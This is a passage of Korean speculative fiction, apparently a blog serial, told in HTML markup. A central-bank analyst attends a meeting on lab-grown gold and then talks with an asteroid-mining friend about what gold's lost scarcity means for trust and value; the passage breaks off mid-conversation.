&lt;p data-ke-size=&quot;size16&quot;&gt;회의실 안에는 이미 여러 부서 사람들이 자리잡고 있었다.&lt;br /&gt;국제국 담당자, 리스크 관리팀, 통화정책국 분석관 몇 명, 그리고 민서와 같은 자산운용국 애널리스트들까지.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;책상 위에는 종이로 출력된 그래프와 요약 보고서가 나란히 놓여 있었다.&lt;br /&gt;보고서 표지에는 커다랗게 &amp;ldquo;내부 검토용 &amp;ndash; 외부 반출 금지&amp;rdquo;라는 문구가 찍혀 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;자, 그럼 시작해 볼까요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리서치국에서 나온 발표자가 앞쪽으로 나와, 슬라이드를 띄웠다.&lt;br /&gt;스크린에는 민서가 조금 전 태블릿에서 봤던 것과 거의 같은 그래프가 크게 확대되어 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;간단히 말씀드리면, 민간 연구기관 A사에서 발표한 랩그로운 금 파일럿 플랜트 결과를 분석한 내용입니다.&lt;br /&gt;핵심은 여기, 두 개의 곡선입니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;발표자는 레이저 포인터로 그래프를 가리켰다.&lt;br /&gt;빨간 선이 전통 금광 채굴 평균 비용, 파란 선이 랩그로운 금 공정 비용 추정치였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;보시다시피, 현재 시점에서는 여전히 전통 광산 쪽이 비용 면에서 유리합니다.&lt;br /&gt;하지만 A사의 공정 효율 개선 계획이 일정대로 진행될 경우, 보수적으로 잡아도 15년에서 20년 사이에 두 곡선이 교차할 수 있다는 시나리오가 나옵니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회의실 안에 잠시 정적이 흘렀다.&lt;br /&gt;누군가 종이를 넘기는 소리와, 펜을 두드리는 소리만 들렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팀장이 먼저 입을 열었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;기술적 가정은 충분히 보수적으로 잡으신 거죠? 민간 스타트업 발표를 그대로 가져온 건 아닐 테고.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;물론입니다.&amp;rdquo;&lt;br /&gt;리서치국 발표자가 고개를 끄덕였다. &amp;ldquo;에너지 단가, 설비 감가상각, 환경 규제 비용까지 포함해서, 그들이 제시한 수치보다 20~30% 정도는 더 보수적으로 반영했습니다. 그럼에도 불구하고, 곡선의 방향성 자체는 바뀌지 않습니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;국제국 쪽 담당자가 손을 들었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;합성 다이아몬드 때도 비슷한 이야기가 있었지만, 실제로는 브랜드가 &amp;lsquo;천연&amp;rsquo;과 &amp;lsquo;합성&amp;rsquo;을 잘 구분해 수요를 나눴습니다. 금도 그렇게 가지 않을까요? 준비자산용 천연 금과, 산업용/장식용 랩그로운 금으로.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;가능한 시나리오입니다.&amp;rdquo;&lt;br /&gt;발표자는 슬라이드를 넘겼다. &amp;ldquo;그래서 이번 보고서는 세 가지 케이스를 나눠 분석했습니다.&lt;br /&gt;A: 천연 금만 준비자산으로 유지하는 경우,&lt;br /&gt;B: 랩그로운 금을 일부 비율로 편입하는 경우,&lt;br /&gt;C: 금 비중 자체를 줄이고 다른 실물자산 또는 디지털 자산으로 대체하는 경우.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 슬쩍 자료를 내려다보았다.&lt;br /&gt;각 케이스 옆에는 통화 안정성, 대외 신뢰도, 유동성, 정치적 부담 같은 항목들이 점수로 매겨져 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;민서 씨 의견은 어떻습니까?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팀장의 갑작스러운 질문에, 여러 시선이 동시에 그를 향했다.&lt;br /&gt;민서는 순간 숨을 고르고, 입을 열었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;경제학적으로만 보면, 결국 문제는 &amp;lsquo;구분 가능성&amp;rsquo;이라고 생각합니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;구분 가능성이라면?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;네. 금속 자체의 물리&amp;middot;화학적 속성으로 천연과 랩그로운을 구분할 수 없다면,&lt;br /&gt;우리가 둘 사이를 다르게 취급하는 건 기술 문제가 아니라 &lt;b&gt;정치적&amp;middot;사회적 합의&lt;/b&gt;의 문제입니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 손가락으로 보고서의 한 구석을 톡 건드렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;지금 보고서에서도 언급됐듯이, 랩그로운 금은 아직까지 전체 공급량에서 차지하는 비중이 미미합니다.&lt;br /&gt;하지만 단지 &amp;lsquo;생산 가능하다&amp;rsquo;는 사실만으로도, 시장은 미래의 희소성을 다시 계산하기 시작합니다.&lt;br /&gt;그렇다고 우리가 지금 당장 천연 금을 버릴 수도 없고요. 준비자산의 상징성이라는 게 있으니까요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팀장이 고개를 끄덕였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그러면 민서 씨 개인적인 의견은? A, B, C 중에 하나만 고르라면.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회의실 안의 시선이 다시 모였다.&lt;br /&gt;민서는 잠시 생각한 뒤, 솔직하게 말했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;단기적으로는 A와 B 사이에서, 장기적으로는 B와 C 사이에서 움직이게 될 거라고 봅니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그게 무슨 말이죠?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;지금 당장 B나 C를 선택하면,&lt;br /&gt;&amp;lsquo;우리 스스로 금을 부정한다&amp;rsquo;는 신호를 시장에 줄 수 있습니다.&lt;br /&gt;그건 금값을 떠나서, 자국 통화와 정책에 대한 신뢰 문제로 번질 수 있고요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그는 숨을 한번 고르고 말을 이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;하지만 랩그로운 금 생산이 실제로 시작되고, 공급이 매년 꾸준히 늘어나는 게 확인되면,&lt;br /&gt;금의 희소성에 대한 &amp;lsquo;기대&amp;rsquo;가 무너지면서 준비자산으로서의 위상도 자연스럽게 바뀔 겁니다.&lt;br /&gt;그때는 B, 즉 일부 편입과, C, 다른 자산으로의 분산이 같이 갈 수밖에 없다고 봅니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;국제국 담당자가 끼어들었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그 &amp;lsquo;다른 자산&amp;rsquo;에는 뭐가 들어가나요?&lt;br /&gt;달러? 위안? SDR? 아니면 요즘 유행하는 디지털 통화나 토큰류?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 어깨를 살짝 올렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그건&amp;hellip; 제 소관은 아니죠.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회의실 안에 가벼운 웃음이 돌았다.&lt;br /&gt;팀장은 그 틈을 타 다시 발표자에게 질문을 돌렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;우선은, 오늘 자료는 참고 수준으로 알고 있겠습니다.&lt;br /&gt;공식 입장을 정하려면, 정치적인 레벨에서의 판단도 필요하니까요.&lt;br /&gt;다만, 내부적으로는 랩그로운 금과 관련된 시장 동향을 정기적으로 모니터링하는 체계를 만들어야겠네요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회의는 그렇게 큰 결론 없이 일단락되는 듯했다.&lt;br /&gt;보고서가 회수되고, 사람들은 자리에서 일어나며 각자의 일정으로 흩어졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서도 서류를 정리해 들고 일어서려다가, 책상 위에 떨어진 한 장의 종이에 눈길이 갔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;이건 뭐지&amp;hellip;&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;누군가 출력했다가 흘린 듯한, 짧은 메모였다.&lt;br /&gt;상단에는 굵은 글씨로 이렇게 적혀 있었다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&amp;ldquo;What happens when gold is no longer scarce?&amp;rdquo;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 아래에는 서너 줄의 메모가 더 있었다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;금 = 희소성 + 역사 + 상징성&lt;/li&gt;
&lt;li&gt;랩그로운 금 = 희소성 약화, 역사 단축, 상징성 분열&lt;/li&gt;
&lt;li&gt;우주 금(소행성) = 희소성 붕괴 가능성, 하지만 새로운 서사의 등장&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 종이를 한 번 더 읽어보고, 조용히 접어 주머니 안에 넣었다.&lt;br /&gt;누군가의 사적인 정리일 뿐이었지만, 이상하게 마음에 남는 문장이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회의실 밖으로 나오자, 복도는 여전히 분주했다.&lt;br /&gt;어딘가에서는 웃음소리가 터졌고, 다른 어딘가에서는 낮은 목소리로 환율 얘기가 오갔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;폰 화면이 진동과 함께 켜졌다.&lt;br /&gt;메신저 알림 하나.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;진우: &amp;ldquo;오늘 저녁에 시간 되냐? 도시락 대신 커피 한 잔 사 줄게. 금 얘기도 좀 해야지.&amp;rdquo;&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 화면을 한동안 바라보다가, 짧게 답장을 보냈다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;민서: &amp;ldquo;지금 막 금고에서 올라왔는데, 금 얘기 말고 할 얘기가 있을까?&amp;rdquo;&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;진우: &amp;ldquo;그럼 금 얘기부터 하지 뭐. 7시에 예전 학교 앞 카페 기억나? 거기서 보자.&amp;rdquo;&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메시지를 확인하고 나자, 묘하게 하루의 구조가 머릿속에 떠올랐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아침에는 지하 금고에서,&lt;br /&gt;낮에는 회의실에서,&lt;br /&gt;저녁에는 예전 동창과의 카페에서.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모두 같은 주제,&lt;br /&gt;하지만 조금씩 다른 각도에서 이야기할 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 잠깐 창밖을 내다보았다.&lt;br /&gt;구름 사이로 희미한 햇빛이 쏟아지고 있었고, 그 아래 도시의 유리 건물들이 금속처럼 빛났다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;금의 시대가 끝난대도,&lt;br /&gt;빛나는 것들 자체가 사라지는 건 아니겠지.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그는 조용히 중얼거렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주머니 안에서, 접어 넣은 종이가 살짝 손가락에 닿았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;What happens when gold is no longer scarce?&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 질문은, 오늘 하루 내내 그를 따라다닐 것 같았다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;카페 창밖으로는 퇴근 시간대 버스들이 천천히 흘렀고, 손에 든 폰 화면에는 여전히 금 선물 시세 차트가 들쭉날쭉 뛰고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그래도, 진짜로 이 정도일 줄은 몰랐는데.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그때 맞은편 의자가 끌리는 소리가 났다.&lt;br /&gt;민서가 고개를 들기도 전에, 익숙한 목소리가 먼저 말을 걸었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;야, 중앙은행 애널리스트 양반이 이런 시간에 카페에서 캔들차트나 보고 있어도 되는 거야?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;&amp;hellip;&amp;hellip;진우?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 눈을 깜빡였다.&lt;br /&gt;소행성 채굴 사진이 SNS 피드를 장식하던, 그 우주공학과 동기 얼굴이 그대로였다. 다만 예전에 비해 눈 밑 그늘이 조금 더 짙어졌을 뿐.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;오랜만이다. 자리 비었길래 그냥 앉았어. 나 기억은 하지?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;기억 안 나면 내가 문제지. 우주에서 돌 캐던 사람 아니야, 지금은?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;캐긴 뭘 캐. 이제는 &amp;lsquo;우주에서 쓸 자원 인프라 기업&amp;rsquo;이래.&amp;rdquo;&lt;br /&gt;진우가 어깨를 으쓱였다. &amp;ldquo;투자자들 앞에서는 &amp;lsquo;금&amp;rsquo;이란 말도 조심해서 꺼내야 돼.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 피식 웃다가, 다시 화면을 내려다봤다. 차트의 붉은 봉과 초록 봉이 뒤엉켜 있는 그래프가 마치 할 말을 잃은 심전도처럼 보였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그래프가&amp;hellip; 많이 아프네.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그래프가 아픈 거야, 사람들이 아픈 거야?&amp;rdquo;&lt;br /&gt;진우가 물컵을 들어 올리며 물었다. &amp;ldquo;그래서, 너희 쪽은 어때? 중앙은행 지하 금고는 아직 멀쩡해?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;물리적으로는 멀쩡하지. 금괴야 갑자기 녹아 없어지진 않으니까.&amp;rdquo;&lt;br /&gt;민서는 쓴웃음을 지었다. &amp;ldquo;다만, 그 위에 올라타 있던 신뢰 같은 건&amp;hellip; 조금씩 녹고 있는 것 같긴 해.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;랩그로운 골드 때문이야? 아니면 우리 같은 우주 광부들 때문이야?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;둘 다지, 뭐.&amp;rdquo;&lt;br /&gt;민서는 폰을 잠시 뒤집어 내려놓았다. &amp;ldquo;오늘 낮에 내부 보고서 하나 받았거든. 아직 공식 발표 전이라 밖에는 안 나갔을 텐데.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;또 무슨 무서운 그래프냐.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;합성 금 생산 단가 곡선. 그리고 전통 광산 채굴 단가 곡선.&amp;rdquo;&lt;br /&gt;민서는 손가락 두 개로 공중에서 서로 만나는 선을 그려 보였다. &amp;ldquo;드디어, 교차점이 보이더라.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진우가 잠시 웃음기를 거두었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;진짜야? 기사에서 떠드는 &amp;lsquo;환경친화적 랩그로운 골드&amp;rsquo; 그쪽?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;응. 발표에 나온 건 훨씬 순한 버전일 거고, 내부 자료 기준으론 &amp;lsquo;연간 수천 킬로그램&amp;rsquo; 이야기가 슬슬 나와.&amp;rdquo;&lt;br /&gt;민서는 목소리를 조금 낮췄다. &amp;ldquo;물론 여전히 싼 건 아니야. 그런데, 문제는 &amp;lsquo;이제는 이론적으로 가능하다&amp;rsquo;는 걸 시장이 알아버렸다는 거지.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;희소성이 깨지는 순간?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;희소성의 &amp;lsquo;미래 기대&amp;rsquo;가 깨지는 순간.&amp;rdquo;&lt;br /&gt;민서는 정정하듯 말했다. &amp;ldquo;사람들은 지금도 금을 사지만, 마음 한구석에서 계산을 다시 하기 시작하는 거야. &amp;lsquo;혹시 이게, 마지막 골든 에이지가 아닐까&amp;rsquo; 이런 식으로.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진우는 잠깐 창밖을 봤다.&lt;br /&gt;버스 정류장 광고판 위로, 자신이 다니는 회사의 로고가 지나갔다. &amp;ldquo;우주에서 가장 안전한 투자, 소행성 자원&amp;rdquo;이라는 문구가 함께 떠 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;웃긴 게 뭔지 알아?&amp;rdquo;&lt;br /&gt;그가 다시 고개를 돌렸다. &amp;ldquo;우리는 그 반대 그림을 그리고 있었거든. &amp;lsquo;우리&amp;rsquo; 때문에 금이 흔해질 수도 있다는 상상.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;소행성 하나만 제대로 캐면, 지구 역사상 채굴량 전부 합친 것보다 많을 수 있다&amp;hellip; 그거?&amp;rdquo;&lt;br /&gt;민서가 되물었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;대충 그런 밈들 있잖아.&amp;rdquo;&lt;br /&gt;진우가 고개를 끄덕였다. &amp;ldquo;근데 정작 우리가 첫 샘플 조금 가져오는 동안, 지구에서는 실험실에서 금을 찍어내는 방법을 먼저 찾아버리는 거지. 우주공학자 입장에선 좀 기분이 묘해.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;지구에서 만든 금 vs 우주에서 가져온 금.&amp;rdquo;&lt;br /&gt;민서는 그 말을 되뇌었다. &amp;ldquo;경제학자 입장에선 둘 다 숫자일 뿐이지만, 사람들 머릿속에서는 이야기가 다르겠지.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;중앙은행은 뭐래? 랩그로운 금을 준비자산으로 인정할 거야, 말 거야?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;공식 입장은 아직 같지. &amp;lsquo;우리는 시장을 주의 깊게 지켜보고 있으며, 금은 여전히 중요한 준비자산이다.&amp;rsquo;&amp;rdquo;&lt;br /&gt;민서는 말끝을 흉내 내며, 일부러 관료적인 톤을 냈다. &amp;ldquo;비공식적으로는&amp;hellip; 의견이 갈려. 천연 금만 지키자는 쪽, 랩그로운 금도 섞어서 받자는 쪽, 아예 금 비중 줄이고 다른 실물자산이나 디지털 자산 늘리자는 쪽.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;너는?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 잠시 대답을 못 했다. 대신 종이컵 뚜껑을 만지작거리다가, 천천히 입을 열었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;솔직히 말하면, 금이 좋았거든. &amp;lsquo;인류가 몇 천 년 동안 믿어온 물건&amp;rsquo;이라는 사실 자체가 주는 안정감이 있었어. 데이터나 토큰은 역사가 짧잖아.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;근데 이제 그 금도, 실험실에서 6개월짜리 역사로 만들어진다는 거지.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그러니까.&amp;rdquo;&lt;br /&gt;민서는 웃었다. &amp;ldquo;역사가 길다는 게 강점이었는데, 갑자기 &amp;lsquo;제조일자 2041년 5월 3일&amp;rsquo; 이런 금괴가 시장에 들어오기 시작하면, 좀&amp;hellip; 감성이 깨지지 않아?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;감성으로 경제가 돌아가는 건 아니잖아.&amp;rdquo;&lt;br /&gt;진우가 말했다가, 곧바로 스스로 웃었다. &amp;ldquo;아, 아니다. 사실 감성이 전부지. 사람들이 믿어주니까 돈도 되는 거고.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그래서 내가 요즘 혼란스러운 거야.&amp;rdquo;&lt;br /&gt;민서는 고개를 끄덕였다. &amp;ldquo;난 숫자를 보고 결론을 내리는 사람이라고 생각했는데, 막상 &amp;lsquo;숫자는 합성 금이 맞다&amp;rsquo;는 방향으로 가면서, 내 안에서는 &amp;lsquo;그래도 천연 금이 진짜지&amp;rsquo;라는 이상한 고집이 튀어나오는 거지.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;재밌네. 과학자랑 비슷하다.&amp;rdquo;&lt;br /&gt;진우가 말했다. &amp;ldquo;우리가 하는 일도 결국 데이터 보고 설계하고 검증하는 거지만, 은근히 &amp;lsquo;우주에서 가져온 건 특별하다&amp;rsquo;는 미신 같은 자부심이 있어.&lt;br /&gt;근데 랩그로운 금 얘기 나오는 순간, 갑자기 우리가 하는 일이 되게 구식 노동처럼 느껴지는 거야.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;잠시 둘 사이에 침묵이 흘렀다.&lt;br /&gt;창밖 하늘에는 아주 옅게 달이 떠 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그럼, 상상해 보자.&amp;rdquo;&lt;br /&gt;민서가 먼저 말을 이었다. &amp;ldquo;랩그로운 금이 진짜로 싸지고, 너희가 소행성에서 금을 톤 단위로 들여올 수 있게 됐다고 치자.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;꿈같은데, 악몽 같기도 하고.&amp;rdquo;&lt;br /&gt;진우가 중얼거렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;금값이 내려가고, 금의 희소성이 사라지는 건 둘 다 알잖아.&lt;br /&gt;그 다음에는 뭐가 제일 귀해질까?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진우가 민서를 바라보았다.&lt;br /&gt;그 질문은 단순한 경제학 문제가 아니라는 걸 둘 다 알고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;시간?&amp;rdquo;&lt;br /&gt;진우가 먼저 입을 열었다. &amp;ldquo;진짜로 현장에서, 위험하게 뭔가를 만들고, 고치고, 날려 보는 시간. 그건 아직 실험실에서 복제 못 하잖아.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;흠.&amp;rdquo;&lt;br /&gt;민서가 잠깐 생각하더니, 고개를 끄덕였다. &amp;ldquo;시간 좋네. 나는&amp;hellip; &amp;lsquo;합의&amp;rsquo;라고 생각했거든.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;합의?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;우리가 &amp;lsquo;이게 가치 있다&amp;rsquo;고 같이 믿기로 한 합의. 예전에는 그게 금이었고, 요즘은 어떤 나라에선 달러, 어떤 커뮤니티에선 비트코인 같은 거고.&amp;rdquo;&lt;br /&gt;민서는 다시 폰을 뒤집어 들었다. &amp;ldquo;랩그로운 금이든 우주 금이든, 결국 숫자로 섞이는 순간이 올 텐데&amp;hellip; 그때 사람들은 뭘 붙들고 싶어 할까 싶어서.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;너네 팀은 뭐 붙들고 싶어 해?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;솔직히?&lt;br /&gt;오늘 회의 분위기로는, 일단 체면부터.&amp;rdquo;&lt;br /&gt;민서가 피식 웃었다. &amp;ldquo;천연 금을 당장 내려놓을 순 없다는 자존심.&lt;br /&gt;&amp;lsquo;우리가 수십 년 동안 지켜온 금고를 실험실 금으로 더럽힐 순 없다&amp;rsquo;는, 말도 안 되는 논리.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;근데 너는?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;나는&amp;hellip;&amp;rdquo;&lt;br /&gt;민서는 잠시 말을 고르다가, 천천히 내뱉었다. &amp;ldquo;둘 다 섞이는 걸 보고 싶어.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;둘 다?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;천연 금도, 랩그로운 금도, 나중에는 소행성 금도.&lt;br /&gt;금고 한 켠에 나란히 쌓여 있는 거.&lt;br /&gt;우리가 결국 믿는 건 &amp;lsquo;금&amp;rsquo;이라는 금속 자체가 아니라, 그걸 둘러싼 이야기라는 걸, 인정하는 그림 같아서.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진우는 그 말을 듣고 한참을 웃지 못했다.&lt;br /&gt;웃기에는 조금 진지하고, 울기에는 아직 이른 종류의 생각이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그럼, 이렇게 해보자.&amp;rdquo;&lt;br /&gt;그가 말했다. &amp;ldquo;나중에 진짜로 우리 회사가 소행성에서 금덩어리 하나 가져오면&amp;hellip;&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;&amp;hellip;&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;너네 지하 금고에, 그거 한 줄만 끼워 넣어 줘.&amp;rdquo;&lt;br /&gt;진우가 장난스럽게 눈썹을 올렸다. &amp;ldquo;그러면, 거긴 진짜 우주의 역사 박물관이 되는 거잖아. 천연 금, 랩그로운 금, 우주 금. 풀세트.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 그제야 웃음을 터뜨렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그럼 너도 약속해.&amp;rdquo;&lt;br /&gt;그가 웃음을 추스르며 말했다. &amp;ldquo;언젠가 너희 회사가 우주 금을 가져와서 금값을 박살 내면&amp;hellip;&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;&amp;hellip;&amp;rdquo;&lt;/p&gt;
